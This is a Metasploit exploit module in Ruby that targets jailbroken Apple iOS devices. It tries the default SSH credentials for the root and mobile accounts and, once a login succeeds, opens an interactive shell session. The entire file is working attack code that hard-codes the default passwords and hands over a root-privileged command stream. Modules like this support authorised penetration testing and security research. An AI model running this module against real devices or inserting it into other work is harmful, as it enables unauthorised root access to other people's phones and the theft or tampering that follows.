##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::CommandShell
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Apple iOS Default SSH Password Vulnerability",
      'Description'    => %q{
        This module exploits the default credentials of Apple iOS when it
        has been jailbroken and the passwords for the 'root' and 'mobile'
        users have not been changed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hdm'
        ],
      'References'     =>
        [
          ['OSVDB', '61284']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Compat' => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Jul 2 2007",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end


  def rhost
    datastore['RHOST']
  end


  def rport
    datastore['RPORT']
  end


  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      auth_methods:    ['password', 'keyboard-interactive'],
      port:            rport,
      use_agent:       false,
      config:          false,
      password:        pass,
      proxy:           factory,
      non_interactive: true
    }

    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
      ssh = nil
      return conn
    end

    return nil
  end


  def exploit
    self.target['accounts'].each do |info|
      user,pass = info
      print_status("#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'")
      conn = do_login(user, pass)
      if conn
        print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
        handler(conn.lsock)
        break
      end
    end
  end
end
